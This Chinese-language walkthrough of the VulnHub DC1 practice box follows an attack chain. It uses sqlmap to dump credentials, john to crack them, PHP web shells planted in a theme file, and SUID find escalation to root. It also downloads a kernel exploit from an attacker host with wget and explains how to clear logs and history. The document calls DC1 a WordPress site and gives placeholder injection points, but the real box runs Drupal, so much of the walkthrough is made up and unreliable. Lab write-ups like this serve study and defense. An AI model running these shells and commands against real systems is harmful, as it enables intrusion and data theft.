从SQL注入到SUID提权:DC1靶场实战解析渗透测试核心流程

从SQL注入到SUID提权:DC1靶场实战解析渗透测试核心流程
1. 项目概述与靶场环境初探最近在整理渗透测试的学习笔记翻到了之前打VulnHub上DC系列靶机的记录。DC1作为这个经典系列的入门靶场虽然难度被标记为“简单”但其中涵盖的攻击路径和思路对于理解基础渗透流程和Web应用安全漏洞的串联利用依然非常有价值。它不是那种一个漏洞就能直通flag的“秒杀”靶机而是模拟了一个相对老旧但真实的WordPress网站环境引导你一步步从信息收集、漏洞发现到权限提升和最终目标获取。如果你刚开始接触渗透测试实战或者想巩固一下对SQL注入、文件包含、SUID提权这些基础但核心手法的理解DC1是个绝佳的练手对象。简单来说DC1靶场就是一个被故意设置了多个安全漏洞的虚拟机镜像。我们的目标就是扮演攻击者的角色使用各种技术手段找到并利用这些漏洞最终获取系统最高权限root并读取到隐藏的flag。整个过程就像一次完整的“黑客”入侵模拟但完全在合法、可控的虚拟环境中进行。接下来我就以一次完整的实战记录为蓝本拆解其中的每一个关键步骤、技术原理以及我踩过的那些坑。2. 信息收集一切攻击的起点渗透测试的第一步永远不是急着上工具狂轰滥炸而是耐心、细致的信息收集。信息收集的质量直接决定了后续攻击的效率和成功率。对于DC1这类未知内网环境的靶机我们的信息收集主要围绕目标IP、开放端口、运行服务以及Web应用细节展开。2.1 网络发现与端口扫描首先我们需要找到靶机的IP地址。由于VulnHub的靶机通常以虚拟机形式运行在本地网络比如VMware或VirtualBox的NAT/仅主机模式我们可以使用netdiscover或arp-scan进行二层发现。更通用的方法是使用Nmap扫描整个网段。sudo nmap -sn 192.168.1.0/24这条命令会发送ICMP Echo请求和TCP SYN包到指定网段的所有主机列出存活主机。找到那个不属于你物理机和其他已知虚拟机的IP大概率就是DC1了。假设我们找到的靶机IP是192.168.1.105。接下来对目标IP进行全面的端口扫描以了解其对外开放了哪些服务。nmap -sV -sC -p- 192.168.1.105 -oA dc1_full_scan-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。p-: 扫描所有65535个端口。-oA: 将结果以所有格式普通、XML、Grepable输出到文件。扫描结果通常会显示开放了以下几个关键端口22/tcp: SSH服务。这是Linux系统远程管理的标准端口但版本信息可能提示我们其是否可能存在已知漏洞。80/tcp: HTTP服务。运行着Web服务器通常是Apache这是我们攻击的主要入口。111/tcp: RPCbind服务。用于远程过程调用有时能泄露系统信息。注意在实际测试中务必使用-p-进行全端口扫描。我曾有一次因为只扫描了前1000个常用端口而错过了一个开在高端口如8080上的管理后台白白浪费了大量时间。全端口扫描虽然耗时但能确保没有遗漏。2.2 Web应用指纹识别与目录探测既然80端口开放我们的重点自然就落在了Web应用上。首先访问http://192.168.1.105映入眼帘的是一个典型的WordPress博客网站。WordPress是全球使用最广泛的内容管理系统CMS但也因其插件和主题的复杂性成为漏洞的重灾区。使用whatweb或浏览器插件如Wappalyzer可以快速确认Web技术栈whatweb http://192.168.1.105输出会显示Apache版本、PHP版本、以及确切的WordPress版本。记下这些信息特别是WordPress版本我们可以去搜索该版本是否存在公开的漏洞。接下来使用目录爆破工具寻找隐藏的目录、文件或后台入口。gobuster和dirb是常用工具。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50dir: 指定模式为目录爆破。-u: 目标URL。-w: 使用的字典文件。common.txt是一个通用的目录字典。-x: 尝试这些扩展名。-t: 线程数。爆破结果中你可能会发现一些典型路径如/wp-admin/WordPress后台、/wp-includes/、/wp-content/等。此外要特别留意像/robots.txt、/sitemap.xml、/backup/、/admin/这类可能泄露敏感信息的文件或目录。3. 漏洞利用突破Web防线在信息收集阶段我们确认了目标是一个WordPress站点。针对WordPress的攻击面非常广包括核心程序漏洞、插件漏洞、主题漏洞以及配置错误。在DC1中我们通常会遇到一个经典的漏洞组合SQL注入导致凭据泄露进而通过文件包含获取Web Shell。3.1 SQL注入与凭据获取WordPress的搜索功能、评论功能或者某些特定的插件/主题有时会存在SQL注入漏洞。我们可以手动测试也可以使用sqlmap这样的自动化工具进行检测。首先尝试找到可能存在注入点的参数。例如在文章页面URL可能形如?p123。我们可以用sqlmap进行测试sqlmap -u http://192.168.1.105/?p1 --batch --dbs-u: 指定测试的URL。--batch: 以非交互模式运行自动选择默认选项。--dbs: 如果存在注入尝试枚举数据库。在DC1的典型场景中你可能会发现一个名为http://192.168.1.105/wordpress/wp-content/plugins/some-plugin/的路径下存在注入点。通过sqlmap我们可以一步步获取数据枚举数据库--dbs发现一个名为wordpress的数据库。枚举表-D wordpress --tables列出数据库中的所有表。WordPress的关键用户信息存储在wp_users表中。枚举列并导出数据-D wordpress -T wp_users --columns查看列名然后-D wordpress -T wp_users -C user_login,user_pass --dump导出用户名和密码哈希。此时我们获得了类似admin:$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx的密码哈希。这是WordPress使用的PHPass哈希格式。我们需要破解它才能获得明文密码。3.2 密码破解与后台登录破解哈希可以使用john或hashcat。由于靶场密码通常不会太复杂我们可以用john配合rockyou.txt字典快速尝试。echo admin:$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx hash.txt john --wordlist/usr/share/wordlists/rockyou.txt hash.txt john --show hash.txt如果运气好john会很快显示出明文密码例如admin:mysecretpassword。现在我们可以用admin:mysecretpassword登录WordPress后台http://192.168.1.105/wordpress/wp-admin/。进入后台意味着我们获得了对网站内容的部分控制权但这通常只是Web应用层面的权限距离系统权限还很远。3.3 利用编辑器上传Web ShellWordPress后台的“外观”-“编辑”功能允许管理员直接编辑主题的PHP模板文件。这是一个非常危险的权限如果被攻击者获得可以轻易植入Web Shell。在后台左侧菜单找到“外观” - “编辑”。在右侧选择当前活动的主题例如Twenty Fifteen。在模板列表中选择一个会被频繁访问的文件例如404.php错误页面或header.php页头。选择404.php是个好主意因为它不常被正常访问不易被管理员察觉但我们可以通过直接请求它来触发。在编辑器中清空原有内容写入一个简单的PHP Web Shell。最经典的就是一句话木马?php system($_GET[cmd]); ?或者更隐蔽的?php if(isset($_REQUEST[cmd])){ echo pre; $cmd ($_REQUEST[cmd]); system($cmd); echo /pre; die; }?点击“更新文件”保存。现在我们就在服务器上植入了一个后门。通过访问http://192.168.1.105/wordpress/wp-content/themes/twentyfifteen/404.php?cmdwhoami就可以在URL参数cmd中执行任意系统命令并看到回显。例如执行whoami可能会返回www-data这是Apache Web服务器默认的运行用户权限较低。实操心得在真实环境中这种直接编辑主题文件的方法动静太大很容易被日志记录或文件完整性监控发现。更隐蔽的做法是利用“插件”功能上传一个包含后门的自定义插件zip包或者利用媒体库上传功能如果存在文件类型校验绕过漏洞上传一个图片马将PHP代码嵌入图片的EXIF信息中并利用文件包含漏洞执行。但在DC1这种练习环境中直接编辑模板是最快最直接的方法。4. 权限提升从www-data到root拿到Web Shell获得了www-data用户的命令执行权限只是万里长征第一步。我们的目标是root。在Linux系统中提权方法五花八门核心思路是寻找配置错误、脆弱服务或内核漏洞。在DC1中最常见的是利用SUID权限滥用和内核漏洞。4.1 信息收集与SUID提权首先我们需要在有限的www-datashell里收集更多系统信息。查看当前用户和权限id,whoami查看操作系统和内核版本uname -a,cat /etc/issue,cat /etc/*release查看具有SUID权限的特殊文件这是提权的关键。SUIDSet User ID位设置后用户在执行该文件时会以文件所有者的身份运行。如果root拥有的某个程序被设置了SUID位并且该程序存在漏洞或能被我们操控就可能提权。find / -perm -us -type f 2/dev/null这条命令会在整个文件系统/中查找所有设置了SUID位的文件-perm -us并将错误信息2/dev/null重定向到空设备使输出更清晰。在DC1中执行上述命令后你可能会在结果中发现一个不常见的二进制文件例如/usr/bin/find。find命令本身是系统常用工具但通常不应该被设置SUID位。一旦它被设置了SUID且属于root我们就可以利用它来执行任意命令。GNUfind命令有一个-exec参数可以执行指定的命令。利用方式如下/usr/bin/find . -exec /bin/sh -p \; -quit或者更直接地获取一个root shell/usr/bin/find / -name test -exec /bin/bash -p \;-exec ... \;:find命令对找到的每个文件执行...中的命令。这里我们让它执行/bin/bash -p。-p: 在bash中这个参数告诉shell保留有效的用户ID即root而不是还原为真实用户ID。由于find本身以root权限运行它执行的bash也就继承了root权限。执行成功后输入whoami你应该会看到root。恭喜已经拿到了系统的最高权限。4.2 替代方案内核漏洞提权如果SUID提权不成功比如靶机配置不同我们还可以尝试内核漏洞提权。之前用uname -a获取的内核版本信息就派上用场了。例如系统可能运行着一个较老的内核如Linux 3.x。我们可以搜索该内核版本的公开漏洞。在本地攻击机上可以使用searchsploitExploit-DB的本地副本searchsploit linux kernel 3.2 ubuntu privilege escalation这会列出相关的本地提权漏洞利用代码。找到一个合适的例如“Linux Kernel 3.13.0 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - overlayfs Local Privilege Escalation”其编号可能是37292。我们可以将对应的exp文件复制到当前目录查看searchsploit -m 37292然后需要将这个exp文件传到靶机上。由于我们有Web Shell可以有很多方法在攻击机搭建HTTP服务python3 -m http.server 8000在靶机Web Shell里使用wget下载wget http://192.168.1.100:8000/37292.c -O /tmp/exploit.c假设攻击机IP是192.168.1.100编译并执行在靶机上gcc /tmp/exploit.c -o /tmp/exploit然后/tmp/exploit。如果漏洞利用成功同样会获得一个root shell。注意事项内核漏洞利用存在风险可能导致系统崩溃蓝屏/死机。在真实生产环境中绝对禁止未经授权测试。在靶场中也建议先快照虚拟机。此外不是所有exp都能一次成功可能需要根据靶机具体环境调整编译参数如-static静态编译或exp代码本身。5. 后渗透与flag获取拿到root权限后渗透测试并未完全结束。我们需要完成既定目标——找到flag并清理痕迹在靶场练习中清理步骤通常可省略但需心中有数。5.1 定位flag文件VulnHub的靶机通常会将最终的flag放在/root目录下或者以.txt文件的形式藏在某个特定路径。作为root我们可以浏览任何目录。cd /root ls -la你可能会发现一个名为flag.txt或proof.txt的文件。用cat命令查看它cat flag.txt文件内容通常是一段字符串这就是你成功攻陷靶机的证明。有时出题人会设计多个flag或需要一些额外的步骤。例如DC1中可能在/home目录下的某个用户文件夹里还有第一个flag提示你进行提权。所以在成为root后系统地检查以下目录是个好习惯/root//home/*/(各个用户的家目录)/var/www/(Web根目录)/tmp/桌面环境目录如/home/*/Desktop/可以使用find命令全局搜索包含特定关键词的文件find / -name *flag* -o -name *proof* 2/dev/null find / -type f -exec grep -l Congratulations\|VulnHub\|flag {} \; 2/dev/null5.2 信息收集与巩固访问在实战中拿到flag只是目标之一。我们还需要了解我们拿下了什么。可以进行一些基本的后渗透信息收集查看网络配置ifconfig或ip a了解网卡、IP信息。查看历史命令cat ~/.bash_historyroot的bash历史看看管理员做过什么。查看计划任务crontab -l或查看/etc/crontab了解是否有定期执行的任务可以用于持久化。查看用户和密码哈希cat /etc/passwd和cat /etc/shadow需要root权限获取所有用户及密码哈希可用于横向移动或密码破解。查看敏感配置文件如MySQL的配置文件/etc/mysql/my.cnf或~/.my.cnf可能包含数据库密码。5.3 清理痕迹靶场可略过在授权的渗透测试中清理痕迹是必要步骤以避免被蓝队发现。主要包括删除Web Shell删除我们上传的恶意PHP文件。清除命令历史history -c清除当前session历史并清空~/.bash_history文件。删除临时文件删除通过wget或curl下载的exp文件。清除日志谨慎操作避免触发告警。可能需要修改/var/log/apache2/access.log、error.log以及auth.log、syslog等删除与我们IP相关的条目。可以使用sed或shred命令。重要提醒在DC1这类练习靶场中通常不需要也不建议进行日志清理因为这会干扰其他学习者复现过程也违背了学习初衷。了解方法即可。6. 技术原理深度解析与防御思考打穿一个靶场不能只停留在操作步骤。理解每一步背后的原理并思考如何防御才是提升的关键。6.1 SQL注入原理与防御原理SQL注入的根本原因在于程序将用户输入的数据直接拼接到了SQL查询语句中而没有进行适当的过滤或转义。例如原本的查询是SELECT * FROM wp_users WHERE user_login $username AND user_pass $password_hash;如果用户输入的username是admin --那么拼接后的SQL就变成了SELECT * FROM wp_users WHERE user_login admin -- AND user_pass $password_hash;--在SQL中是注释符这意味着后面的密码检查条件被注释掉了攻击者只需知道用户名通常是admin就能绕过登录验证。更严重的注入可以联合查询UNION出其他表的数据甚至写入文件。防御使用参数化查询预编译语句这是最有效的方法。数据库驱动会将SQL语句的骨架预先编译用户输入的数据仅作为参数传入不会被解释为SQL代码。几乎所有现代编程语言和框架如PHP的PDOPython的sqlite3, MySQLdb都支持。对输入进行严格的过滤和转义如果必须拼接字符串应对所有用户输入进行转义如使用mysqli_real_escape_string()但这种方法不如参数化查询可靠。最小权限原则数据库连接用户不应拥有DROP、FILE等高级权限仅授予其应用所需的最小权限。Web应用防火墙WAF可以在网络层拦截常见的SQL注入攻击特征。6.2 文件包含与Web Shell原理原理文件包含漏洞通常出现在使用include()、require()等函数的PHP代码中。如果这些函数包含的文件路径是用户可控的攻击者就可以包含任意文件包括远程服务器上的恶意脚本远程文件包含RFI或本地系统文件本地文件包含LFI。在DC1中我们是通过后台编辑功能直接写入Web Shell但LFI漏洞常被用来包含如/etc/passwd等敏感文件或结合文件上传上传一个图片马和包含来执行代码。防御避免动态包含尽量使用静态包含。白名单校验如果必须动态包含应基于白名单校验用户输入的文件名。禁用危险函数在php.ini中设置allow_url_include Off禁用远程文件包含。严格控制文件上传对上传文件的类型、内容、后缀进行严格检查并重命名存储避免直接执行。6.3 SUID提权原理与防御原理SUID是一种特殊的文件权限rws中的s。当用户执行一个设置了SUID位的可执行文件时进程的有效用户IDEUID会被设置为该文件的所有者ID。如果文件属于root且程序逻辑存在缺陷如允许通过参数执行任意命令攻击者就能以root身份执行命令。find命令的-exec参数本意是方便地对找到的文件进行操作但当find本身以root权限运行时这个功能就变得极其危险。防御定期审计SUID/SGID文件使用上述find命令定期检查系统中有哪些文件设置了SUID/SGID位评估其必要性。对于非必要的程序坚决移除SUID位chmod u-s /path/to/file。遵循最小权限原则不要轻易给程序赋予SUID权限。考虑是否可以通过其他方式如sudoers精细配置、能力机制capabilities实现相同功能。保持软件更新及时修补已知的存在提权漏洞的程序。使用沙箱或容器将服务运行在隔离的环境中限制其权限。7. 常见问题与排查技巧实录在实战复现DC1或其他类似靶场时你可能会遇到一些“坑”。这里记录几个我遇到过的问题和解决方法。7.1 问题Nmap扫描不到靶机IP现象使用nmap -sn扫描网段找不到疑似靶机的IP。排查确认网络模式确保攻击机Kali和靶机DC1在同一网络环境中。在VMware/VirtualBox中通常都设置为“NAT模式”或“仅主机模式”。最好两者设置一致。检查虚拟机网络配置确认DC1虚拟机网卡已正确连接。查看靶机IP如果靶机有桌面环境可以登录进去查看或者尝试在攻击机上用arp -a查看ARP缓存表看是否有新的MAC地址出现。扩大扫描范围有时虚拟网络网段不是常见的192.168.1.x。在VirtualBox的“仅主机模式”下可能是192.168.56.x。使用ifconfig或ip a查看攻击机在对应虚拟网卡上的IP然后扫描同网段。7.2 问题sqlmap测试不出注入点现象对疑似有注入的URL使用sqlmap返回结果提示所有参数都“似乎不可注入”。排查确认注入点手动测试。在参数后加一个单引号观察页面是否返回数据库错误如MySQL错误。如果页面显示异常空白、报错则可能存在注入。检查WAF或过滤靶机可能安装了简单的WAF或代码层有过滤。尝试使用sqlmap的--tamper脚本绕过。例如--tamperspace2comment可以将空格替换为注释符/**/。指定注入技术默认情况下sqlmap会测试所有技术。有时指定一种技术更有效如--techniqueB布尔盲注或--techniqueT时间盲注。提高检测等级和风险等级使用--level3 --risk2或更高。等级越高测试的payload越多越深入。注意Cookie和Headers如果注入点依赖于登录后的Cookie需要用--cookie...参数将Cookie传递给sqlmap。7.3 问题Web Shell执行命令无回显现象访问上传的Web Shell URL添加?cmdwhoami参数后页面空白或没有命令结果输出。排查检查Shell代码确保写入的PHP代码正确无误。最简单的?php system($_GET[cmd]);?在大多数情况下有效。检查文件路径和权限确认你访问的URL路径与文件实际存放路径完全一致。WordPress主题路径可能是/wp-content/themes/[当前主题名]/。使用find / -name 404.php 2/dev/null在靶机上定位文件。尝试其他执行函数system()函数可能被禁用。尝试其他函数?php echo shell_exec($_GET[cmd]); ? ?php passthru($_GET[cmd]); ? ?php exec($_GET[cmd], $output); print_r($output); ?查看错误信息在PHP代码开头加入error_reporting(E_ALL); ini_set(display_errors, 1);看看是否有PHP错误输出。命令输出可能被重定向尝试将命令输出写入一个文件再查看?cmdwhoami /tmp/test.txt然后访问/tmp/test.txt如果Web用户有读权限。7.4 问题SUID提权失败现象执行find . -exec /bin/sh -p \; -quit后得到的shell输入whoami显示仍然是www-data不是root。排查确认find的SUID位和属主ls -la /usr/bin/find确认权限中包含rws且属主是root。检查/bin/sh的链接有些系统/bin/sh是链接到/bin/dash的而dash在收到-p参数时行为可能与bash不同。尝试直接使用/bin/bashfind . -exec /bin/bash -p \; -quit。使用完整的提权命令有时需要指定一个不存在的文件名来触发-exec/usr/bin/find / -name nonexistentfile -exec /bin/bash -p \;或者使用-execdir参数如果支持find / -type f -name test -execdir /bin/bash -p \;尝试其他SUID程序用find / -perm -us -type f 2/dev/null列出所有SUID文件搜索已知的可用于提权的程序如vim通过:!bash、nmap交互模式、less/more通过!bash等。可以使用GTFOBins这个项目来查询特定程序的提权方法。7.5 问题内核exp编译失败或执行无效现象将exp.c文件传到靶机后gcc编译报错或者编译成功但执行后没有提权效果。排查检查gcc是否存在靶机可能没有安装编译工具链。先which gcc确认。如果没有尝试从其他渠道获取静态编译好的二进制文件或者寻找其他提权方法。静态编译很多内核exp需要静态链接库。使用gcc exploit.c -o exploit -static进行静态编译。匹配系统架构确认攻击机和靶机的CPU架构一致都是x86或x64。使用uname -m查看。exp适配性公开的exp可能需要对代码进行微调以适应特定的内核版本或发行版。仔细阅读exp代码开头的注释查看其适用的内核版本范围。你的靶机内核版本可能不在范围内。尝试其他exp如果一个不行换一个同内核版本的其它漏洞exp试试。内核提权成功率并非100%。打靶场的过程就是一个不断遇到问题、分析问题、解决问题的过程。每一次排错都会让你对系统和漏洞的理解更深一层。DC1作为入门靶场其价值就在于串联了这些基础但至关重要的知识点。当你能够独立完成从发现到提权的全过程并且能清晰地说出每一步的原理和防御方法时你的内功才算真正扎实了。